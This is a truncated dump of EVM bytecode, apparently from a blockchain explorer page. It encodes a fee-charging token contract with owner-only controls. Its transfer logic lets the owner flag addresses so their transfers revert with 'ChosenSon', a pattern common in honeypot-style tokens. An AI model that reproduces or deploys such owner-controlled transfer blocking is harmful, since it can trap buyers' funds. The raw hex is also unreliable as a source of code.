906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990612aa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612aa9565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60116020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f01906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2d906129c9565b8015610f7a5780601f10610f4f57610100808354040283529160200191610f7a565b820191906000526020600020905b815481529060010190602001808311610f5d57829003601f168201915b5050505050905090565b60078060000154908060010154908060020154908060030154905084565b600b8060000154908060010154908060020154908060030154908060040154905085565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90612aa9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006110bc33848461159d565b6001905092915050565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612aa9565b60405180910390fd5b82601760006101000a81548160ff0219169083151502179055508160188190555080601981905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612aa9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612aa9565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a37565b905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159091906124ca565b60405180910390a3505050565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061163f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590612b15565b60405180910390fd5b6000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117215750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118cb57601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117ca5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118ca57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c557601654600010611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90612b81565b60405180910390fd5b601a60009054906101000a900460ff166118c457600061188530610c2b565b9050601760009054906101000a900460ff1680156118a35750600081115b156118c2576019548111156118b85760195490505b6118c181611a9a565b5b505b5b600190505b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561196d5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119c657600560009054906101000a900460ff16600a61198e9190612cd4565b6123c661199b9190612d1f565b82146119ad57600060168190556119b4565b4360168190555b506119c0848484611ffa565b506119d4565b6119d2848484846120f2565b505b505050565b60008082846119e89190612d61565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612de1565b60405180910390fd5b8091505092915050565b60008083118290611a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a759190612575565b60405180910390fd5b5060008385611a8d9190612e30565b9050809150509392505050565b6001601a60006101000a81548160ff0219169083151502179055506000611ae6600b60040154611ad8600b60020154856122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611b2c6002611b1e600b60040154611b10600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611b5583611b47848761233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000600267ffffffffffffffff811115611b7457611b73612e61565b5b604051908082528060200260200182016040528015611ba25781602001602082028036833780820191505090505b5090503081600081518110611bba57611bb9612e90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c859190612ed4565b81600181518110611c9957611c98612e90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d37959493929190612ffa565b600060405180830381600087803b158015611d5157600080fd5b505af1158015611d65573d6000803e3d6000fd5b5050505060004790506000611db7600b60020154611da9611d956002600b6001015461146890919063ffffffff16565b600b6004015461233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000611df86002611dea84611ddc600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611e2683611e18600b60030154876122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611e4f82611e41858861233d90919063ffffffff16565b61233d90919063ffffffff16565b9050600080821115611eef57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611ea590613085565b600060405180830381858888f193505050503d8060008114611ee3576040519150601f19603f3d011682016040523d82523d6000602084013e611ee8565b606091505b5050809150505b6000891115611fd2576000841115611fd157601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611f8a9695949392919061309a565b60606040518083038185885af1158015611fa8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fcd9190613110565b5050505b5b505050505050505050506000601a60006101000a81548160ff02191690831515021790555050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120459190612d61565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120e591906124ca565b60405180910390a3505050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d9190612a29565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156122a6576000601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121e9576007600001549050612252565b601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612248576007600101549050612251565b60076002015490505b5b600061227e60076003015461227084886122c390919063ffffffff16565b61146890919063ffffffff16565b905060008111156122a35780836122959190612d61565b92506122a2873083611ffa565b5b50505b6122bc858583866122b79190612a29565b611ffa565b5050505050565b60008083036122d55760009050612337565b600082846122e39190612d1f565b90508284826122f29190612e30565b14612332576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612329906131d5565b60405180910390fd5b809150505b92915050565b600061237f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612387565b905092915050565b60008383111582906123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c69190612575565b60405180910390fd5b50600083856123de9190612a29565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061241b826123f0565b9050919050565b61242b81612410565b811461243657600080fd5b50565b60008135905061244881612422565b92915050565b600060208284031215612464576124636123eb565b5b600061247284828501612439565b91505092915050565b60008115159050919050565b6124908161247b565b82525050565b60006020820190506124ab6000830184612487565b92915050565b6000819050919050565b6124c4816124b1565b82525050565b60006020820190506124df60008301846124bb565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561251f578082015181840152602081019050612504565b60008484015250505050565b6000601f19601f8301169050919050565b6000612547826124e5565b61255181856124f0565b9350612561818560208601612501565b61256a8161252b565b840191505092915050565b6000602082019050818103600083015261258f818461253c565b905092915050565b6125a0816124b1565b81146125ab57600080fd5b50565b6000813590506125bd81612597565b92915050565b600080604083850312156125da576125d96123eb565b5b60006125e885828601612439565b92505060206125f9858286016125ae565b9150509250929050565b60008060006060848603121561261c5761261b6123eb565b5b600061262a86828701612439565b935050602061263b86828701612439565b925050604061264c868287016125ae565b9150509250925092565b600060ff82169050919050565b61266c81612656565b82525050565b60006020820190506126876000830184612663565b92915050565b61269681612410565b82525050565b60006020820190506126b1600083018461268d565b92915050565b600080600080608085870312156126d1576126d06123eb565b5b60006126df878288016125ae565b94505060206126f0878288016125ae565b9350506040612701878288016125ae565b9250506060612712878288016125ae565b91505092959194509250565b6127278161247b565b811461273257600080fd5b50565b6000813590506127448161271e565b92915050565b60008060408385031215612761576127606123eb565b5b600061276f85828601612439565b925050602061278085828601612735565b9150509250929050565b600060808201905061279f60008301876124bb565b6127ac60208301866124bb565b6127b960408301856124bb565b6127c660608301846124bb565b95945050505050565b600060a0820190506127e460008301886124bb565b6127f160208301876124bb565b6127fe60408301866124bb565b61280b60608301856124bb565b61281860808301846124bb565b9695505050505050565b60008060006060848603121561283b5761283a6123eb565b5b600061284986828701612735565b935050602061285a868287016125ae565b925050604061286b868287016125ae565b9150509250925092565b6000806040838503121561288c5761288b6123eb565b5b600061289a85828601612439565b92505060206128ab85828601612439565b9150509250929050565b60006128c0826123f0565b9050919050565b6128d0816128b5565b81146128db57600080fd5b50565b6000813590506128ed816128c7565b92915050565b600060208284031215612909576129086123eb565b5b6000612917848285016128de565b91505092915050565b6000819050919050565b600061294561294061293b846123f0565b612920565b6123f0565b9050919050565b60006129578261292a565b9050919050565b60006129698261294c565b9050919050565b6129798161295e565b82525050565b60006020820190506129946000830184612970565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806129e157607f821691505b6020821081036129f4576129f361299a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a34826124b1565b9150612a3f836124b1565b9250828203905081811115612a5757612a566129fa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a936020836124f0565b9150612a9e82612a5d565b602082019050919050565b60006020820190508181036000830152612ac281612a86565b9050919050565b7f43686f73656e536f6e0000000000000000000000000000000000000000000000600082015250565b6000612aff6009836124f0565b9150612b0a82612ac9565b602082019050919050565b60006020820190508181036000830152612b2e81612af2565b9050919050565b7f2173746172744164644c50000000000000000000000000000000000000000000600082015250565b6000612b6b600b836124f0565b9150612b7682612b35565b602082019050919050565b60006020820190508181036000830152612b9a81612b5e565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612bf857808604811115612bd457612bd36129fa565b5b6001851615612be35780820291505b8081029050612bf185612ba1565b9450612bb8565b94509492505050565b600082612c115760019050612ccd565b81612c1f5760009050612ccd565b8160018114612c355760028114612c3f57612c6e565b6001915050612ccd565b60ff841115612c5157612c506129fa565b5b8360020a915084821115612c6857612c676129fa565b5b50612ccd565b5060208310610133831016604e8410600b8410161715612ca35782820a905083811115612c9e57612c9d6129fa565b5b612ccd565b612cb08484846001612bae565b92509050818404811115612cc757612cc66129fa565b5b81810290505b9392505050565b6000612cdf826124b1565b9150612cea83612656565b9250612d177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c01565b905092915050565b6000612d2a826124b1565b9150612d35836124b1565b9250828202612d43816124b1565b91508282048414831517612d5a57612d596129fa565b5b5092915050565b6000612d6c826124b1565b9150612d77836124b1565b9250828201905080821115612d8f57612d8e6129fa565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612dcb601b836124f0565b9150612dd682612d95565b602082019050919050565b60006020820190508181036000830152612dfa81612dbe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e3b826124b1565b9150612e46836124b1565b925082612e5657612e55612e01565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612ece81612422565b92915050565b600060208284031215612eea57612ee96123eb565b5b6000612ef884828501612ebf565b91505092915050565b6000819050919050565b6000612f26612f21612f1c84612f01565b612920565b6124b1565b9050919050565b612f3681612f0b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612f7181612410565b82525050565b6000612f838383612f68565b60208301905092915050565b6000602082019050919050565b6000612fa782612f3c565b612fb18185612f47565b9350612fbc83612f58565b8060005b83811015612fed578151612fd48882612f77565b9750612fdf83612f8f565b925050600181019050612fc0565b5085935050505092915050565b600060a08201905061300f60008301886124bb565b61301c6020830187612f2d565b818103604083015261302e8186612f9c565b905061303d606083018561268d565b61304a60808301846124bb565b9695505050505050565b600081905092915050565b50565b600061306f600083613054565b915061307a8261305f565b600082019050919050565b600061309082613062565b9150819050919050565b600060c0820190506130af600083018961268d565b6130bc60208301886124bb565b6130c96040830187612f2d565b6130d66060830186612f2d565b6130e3608083018561268d565b6130f060a08301846124bb565b979650505050505050565b60008151905061310a81612597565b92915050565b600080600060608486031215613129576131286123eb565b5b6000613137868287016130fb565b9350506020613148868287016130fb565b9250506040613159868287016130fb565b9150509250925092565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131bf6021836124f0565b91506131ca82613163565b604082019050919050565b600060208201905081810360008301526131ee816131b2565b905091905056fea2646970667358221220c0f103067807faedc98f528ecad81977e1132aa9e0c66ac4927e124b394c075164736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d41431461066c578063dd62ed3e14610695578063f2fde38b146106d2578063f887ea40146106fb576101cd565b8063a8424861146105b2578063a9059cbb146105db578063acef1a4414610618578063d088935814610643576101cd565b80638da5cb5b116100d15780638da5cb5b146104ff57806395d89b411461052a5780639af1d35a14610555578063a806d62e14610583576101cd565b8063715018a6146104825780637888ffdf146104995780637d6027cd146104c2576101cd565b80633c11100d1161016457806366c907c51161013e57806366c907c5146103c85780636ddd1713146103f15780636fcba3771461041c57806370a0823114610445576101cd565b80633c11100d146103355780634188bf5a14610372578063553193ca1461039d576101cd565b8063095ea7b3116101a0578063095ea7b31461026557806318160ddd146102a257806323b872dd146102cd578063313ce5671461030a576101cd565b806301986fad146101d25780630445b6671461020f57806306fdde031461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f4919061244e565b610726565b6040516102069190612496565b60405180910390f35b34801561021b57600080fd5b50610224610746565b60405161023191906124ca565b60405180910390f35b34801561024657600080fd5b5061024f61074c565b60405161025c9190612575565b60405180910390f35b34801561027157600080fd5b5061028c600480360381019061028791906125c3565b6107de565b6040516102999190612496565b60405180910390f35b3480156102ae57600080fd5b506102b76107f5565b6040516102c491906124ca565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612603565b6107ff565b6040516103019190612496565b60405180910390f35b34801561031657600080fd5b5061031f6109a5565b60405161032c9190612672565b60405180910390f35b34801561034157600080fd5b5061035c6004803603810190610357919061244e565b6109bc565b6040516103699190612496565b60405180910390f35b34801561037e57600080fd5b506103876109dc565b604051610394919061269c565b60405180910390f35b3480156103a957600080fd5b506103b2610a02565b6040516103bf91906124ca565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea91906126b7565b610a08565b005b3480156103fd57600080fd5b50610406610b36565b6040516104139190612496565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e91906126b7565b610b49565b005b34801561045157600080fd5b5061046c6004803603810190610467919061244e565b610c2b565b60405161047991906124ca565b60405180910390f35b34801561048e57600080fd5b50610497610c74565b005b3480156104a557600080fd5b506104c060048036038101906104bb919061274a565b610dc0565b005b3480156104ce57600080fd5b506104e960048036038101906104e4919061244e565b610ea9565b6040516104f69190612496565b60405180910390f35b34801561050b57600080fd5b50610514610ec9565b604051610521919061269c565b60405180910390f35b34801561053657600080fd5b5061053f610ef2565b60405161054c9190612575565b60405180910390f35b34801561056157600080fd5b5061056a610f84565b60405161057a949392919061278a565b60405180910390f35b34801561058f57600080fd5b50610598610fa2565b6040516105a99594939291906127cf565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d4919061274a565b610fc6565b005b3480156105e757600080fd5b5061060260048036038101906105fd91906125c3565b6110af565b60405161060f9190612496565b60405180910390f35b34801561062457600080fd5b5061062d6110c6565b60405161063a91906124ca565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612822565b6110cc565b005b34801561067857600080fd5b50610693600480360381019061068e919061274a565b611187565b005b3480156106a157600080fd5b506106bc60048036038101906106b79190612875565b611270565b6040516106c991906124ca565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f491906128f3565b6112f7565b005b34801561070757600080fd5b50610710611442565b60405161071d919061297f565b60405180910390f35b60106020528060005260406000206000915054906101000a900460ff1681565b60185481565b60606003805461075b906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610787906129c9565b80156107d45780601f106107a9576101008083540402835291602001916107d4565b820191906000526020600020905b8154815290600101906020018083116107b757829003601f168201915b5050505050905090565b60006107eb3384846114b2565b6001905092915050565b6000600654905090565b600061080c84848461159d565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461099a5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109199190612a29565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600560009054906101000a900460ff16905090565b60146020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612aa9565b60405180910390fd5b6000610acf83610ac184610ab389896119d990919063ffffffff16565b6119d990919063ffffffff16565b6119d990919063ffffffff16565b90506040518060a0016040528086815260200185815260200184815260200183815260200182815250600b60008201518160000155602082015181600101556040820151816002015560608201518160030155608082015181600401559050505050505050565b601760009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bce90612aa9565b60405180910390fd5b60405180608001604052808581526020018481526020018381526020018281525060076000820151816000015560208201518160010155604082015181600201556060820151816003015590505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990612aa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590612aa9565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60116020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f01906129c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2d906129c9565b8015610f7a5780601f10610f4f57610100808354040283529160200191610f7a565b820191906000526020600020905b815481529060010190602001808311610f5d57829003601f168201915b5050505050905090565b60078060000154908060010154908060020154908060030154905084565b600b8060000154908060010154908060020154908060030154908060040154905085565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90612aa9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006110bc33848461159d565b6001905092915050565b60195481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612aa9565b60405180910390fd5b82601760006101000a81548160ff0219169083151502179055508160188190555080601981905550505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612aa9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612aa9565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a37565b905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161159091906124ca565b60405180910390a3505050565b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158061163f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167590612b15565b60405180910390fd5b6000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117215750601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118cb57601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117ca5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118ca57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c557601654600010611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90612b81565b60405180910390fd5b601a60009054906101000a900460ff166118c457600061188530610c2b565b9050601760009054906101000a900460ff1680156118a35750600081115b156118c2576019548111156118b85760195490505b6118c181611a9a565b5b505b5b600190505b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561196d5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119c657600560009054906101000a900460ff16600a61198e9190612cd4565b6123c661199b9190612d1f565b82146119ad57600060168190556119b4565b4360168190555b506119c0848484611ffa565b506119d4565b6119d2848484846120f2565b505b505050565b60008082846119e89190612d61565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612de1565b60405180910390fd5b8091505092915050565b60008083118290611a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a759190612575565b60405180910390fd5b5060008385611a8d9190612e30565b9050809150509392505050565b6001601a60006101000a81548160ff0219169083151502179055506000611ae6600b60040154611ad8600b60020154856122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611b2c6002611b1e600b60040154611b10600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611b5583611b47848761233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000600267ffffffffffffffff811115611b7457611b73612e61565b5b604051908082528060200260200182016040528015611ba25781602001602082028036833780820191505090505b5090503081600081518110611bba